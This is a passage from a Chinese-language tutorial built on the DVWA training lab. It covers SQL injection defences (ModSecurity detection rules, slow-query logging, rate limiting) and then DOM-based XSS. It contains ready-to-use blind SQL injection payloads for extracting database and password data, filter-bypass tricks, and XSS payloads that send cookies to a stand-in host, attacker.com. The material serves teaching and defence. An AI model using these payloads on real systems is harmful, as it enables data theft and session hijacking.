"id:1000,phase:2,block,msg:'SQL Injection Detected'"

# 检测常见SQL注入模式
SecRule ARGS "@rx (union|select|insert|update|delete|drop|exec|script)" \
"id:1001,phase:2,block,msg:'SQL Keyword Detected'"

2. 监控异常查询

1
2
3
4
5
6
7
8
9
10
11
12
13
// 记录慢查询
$start = microtime(true);
$stmt->execute();
$duration = microtime(true) - $start;

if ($duration > 1.0) {
// 查询超过1秒,可能是时间盲注
logSecurityEvent('Slow query detected', [
'duration' => $duration,
'ip' => $_SERVER['REMOTE_ADDR'],
'query' => $query
]);
}

3. 限流和账户锁定

1
2
3
4
5
6
7
8
9
10
11
12
// 检测暴力破解
function checkAttempts($ip) {
$attempts = getAttempts($ip, 60); // 过去60秒

if ($attempts > 10) {
// 锁定IP 5分钟
lockIP($ip, 300);
die('Too many attempts');
}

recordAttempt($ip);
}

工具使用

SQLMap防御测试

1
2
3
4
5
6
7
# 测试自己的应用
sqlmap -u "http://your-site.com/page?id=1" \
--batch \
--level=5 \
--risk=3

# 如果SQLMap无法注入,说明防护有效

代码审计工具

1
2
3
4
5
6
7
# 使用PHPStan检查SQL注入
phpstan analyze src/ --level=8

# 使用SonarQube
sonar-scanner \
-Dsonar.projectKey=myproject \
-Dsonar.sources=src

总结对比

特性 Low Medium High Impossible
查询方式 字符串拼接 mysqli_escape mysqli_escape PDO预编译
参数传递 GET POST Cookie GET
输入验证 ✅ is_numeric
错误信息 ✅ 显示 ❌ 隐藏 ❌ 隐藏 ❌ 隐藏
限流 ✅ 弱限流 ✅ CSRF
LIMIT ✅ LIMIT 1 ✅ LIMIT 1
攻击难度 极易 简单 中等 极难
布尔盲注 ✅ 可行 ✅ 可行 ✅ 可行 ❌ 不可行
时间盲注 ✅ 可行 ✅ 可行 ✅ 可行 ❌ 不可行

常用Payload集合

布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 基础测试
1' AND 1=1 -- → True
1' AND 1=2 -- → False

-- 数据库信息
1' AND LENGTH(database())>5 --
1' AND SUBSTRING(database(),1,1)='d' --
1' AND ASCII(SUBSTRING(database(),1,1))>100 --

-- 表名枚举
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5 --
1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u' --

-- 数据提取
1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5' --

时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
-- MySQL
1' AND SLEEP(5) --
1' AND IF(1=1, SLEEP(5), 0) --
1' AND IF((SELECT SUBSTRING(database(),1,1))='d', SLEEP(5), 0) --

-- 基于BENCHMARK
1' AND BENCHMARK(5000000, MD5('test')) --

-- PostgreSQL
1' AND pg_sleep(5) --

-- SQL Server
1'; WAITFOR DELAY '00:00:05' --

绕过技巧

1
2
3
4
5
6
7
8
9
10
11
-- 大小写混淆
1' AnD 1=1 --
1' aNd 1=1 --

-- 内联注释
1' AND/**/1=1 --
1'/*comment*/AND/*comment*/1=1--

-- 编码绕过
1' AND 0x31=0x31 --
1' AND CHAR(49)=CHAR(49) --

实战建议

盲注攻击步骤:

  1. 确认注入点(测试True/False)
  2. 确定数据库类型和版本
  3. 枚举数据库名和表名
  4. 枚举列名
  5. 逐字符提取数据
  6. 破解密码哈希

自动化工具:

  • SQLMap - 全自动SQL注入工具
  • NoSQLMap - NoSQL盲注工具
  • Burp Suite - 手动测试和自动化

防御检查:

  • ✅ 所有查询使用预编译
  • ✅ 输入验证(白名单)
  • ✅ 最小权限
  • ✅ 限流机制
  • ✅ 错误不泄露信息
  • ✅ 定期安全审计

道德准则:

  • 只在授权环境测试
  • 不窃取真实数据
  • 学习是为了构建安全系统

目录


漏洞简介

什么是DOM型XSS(DOM-based Cross-Site Scripting)?

DOM型XSS是一种特殊的XSS攻击,攻击代码的执行完全发生在客户端(浏览器),不经过服务器处理。漏洞存在于页面的JavaScript代码中,通过不安全的DOM操作导致恶意脚本执行。

与其他XSS的区别:

特性 反射型XSS 存储型XSS DOM型XSS
数据流向 客户端→服务器→客户端 客户端→服务器→数据库→客户端 客户端→客户端
服务器参与
持久化
检测难度

DOM型XSS的特点:

  • 攻击载荷在URL的Fragment(#后面)中
  • 不会发送到服务器
  • JavaScript直接读取并处理
  • 服务器日志无法记录
  • WAF难以检测

攻击流程:

1
2
3
4
5
1. 用户访问:http://example.com/#<script>alert(1)</script>
2. 浏览器加载页面
3. JavaScript读取location.hash
4. 不安全的DOM操作(如innerHTML)
5. 恶意脚本执行

危害:

  • 窃取Cookie和Session
  • 键盘记录
  • 页面劫持
  • 钓鱼攻击
  • 蠕虫传播

常见的危险Sources(输入源):

  • location.hash
  • location.search
  • location.href
  • document.URL
  • document.referrer
  • window.name

常见的危险Sinks(输出点):

  • innerHTML
  • outerHTML
  • document.write()
  • document.writeln()
  • eval()
  • setTimeout() / setInterval()
  • element.setAttribute()

Low 难度

攻击目标

直接使用document.write()输出用户输入,完全不过滤。

前端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!DOCTYPE html>
<html>
<head>
<title>XSS (DOM)</title>
</head>
<body>

<!-- 选择语言的下拉菜单 -->
<form name="XSS" method="GET">
<select name="default">
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
<input type="submit" value="Select" />
</form>

<script>
// ★★★ 核心漏洞:不安全的DOM操作 ★★★

// 检查URL中是否有default参数
// document.location.href - 获取完整URL
// indexOf() - 查找字符串位置
// 例如:http://example.com/?default=English
if (document.location.href.indexOf("default=") >= 0) {

// ★★★ 危险操作1:从URL中提取参数 ★★★
// document.location.href.substring() - 提取子字符串
// indexOf("default=") + 8 - 从"default="后开始
// 结果:提取default参数的值
//
// 问题:没有任何验证或编码!
// 攻击者可以在URL中注入任意内容
var langDefault = document.location.href.substring(
document.location.href.indexOf("default=") + 8
);

// ★★★ 危险操作2:使用document.write()直接输出 ★★★
// document.write() - 向文档写入内容
// 作用:在页面中动态插入HTML
//
// 问题:
// 1. 不对langDefault进行任何编码
// 2. 如果langDefault包含HTML标签,会被浏览器解析执行
// 3. 如果包含<script>,脚本会立即执行
//
// 例如:
// URL: ?default=<script>alert(1)</script>
// 输出:<option>Welcome to <script>alert(1)</script></option>
// 结果:alert(1)执行
document.write("<option>Welcome to " + langDefault + "</option>");

// ★★★ 另一个危险操作:选中对应的选项 ★★★
// document.forms[0].default.value - 访问表单的default字段
// 这里也没有验证langDefault,可能导致额外问题
document.forms[0].default.value = langDefault;
}
</script>

</body>
</html>

漏洞分析

数据流向:

1
2
3
4
5
6
7
8
9
URL(?default=...)

document.location.href (JavaScript读取)

substring()提取参数值

document.write()直接输出 ← 危险!

浏览器解析并执行

核心问题:

  1. 直接读取URL参数 - 不经过服务器验证
  2. 无任何编码 - 特殊字符不转义
  3. 使用document.write() - 直接写入HTML
  4. Source→Sink直接连接 - 输入源直达输出点

为什么服务器日志看不到?

1
2
3
4
5
6
7
8
攻击URL: http://dvwa.local/?default=<script>alert(1)</script>#fragment

发送到服务器: http://dvwa.local/?default=<script>alert(1)</script>
Fragment部分(#): 不发送到服务器

或者使用Fragment攻击:
http://dvwa.local/#default=<script>alert(1)</script>
发送到服务器: http://dvwa.local/ (只有域名)

攻击步骤

步骤1:基础测试

测试1:正常功能

1
2
URL: ?default=English
结果: <option>Welcome to English</option>

测试2:简单XSS

1
2
URL: ?default=<script>alert('XSS')</script>
结果: 弹出XSS对话框

步骤2:窃取Cookie

1
2
3
4
5
<!-- URL编码前 -->
?default=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

<!-- URL编码后 -->
?default=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E

步骤3:使用图片标签

1
2
3
4
5
<!-- 更隐蔽的方式 -->
?default=<img src=x onerror=alert('XSS')>

<!-- 窃取Cookie -->
?default=<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

步骤4:无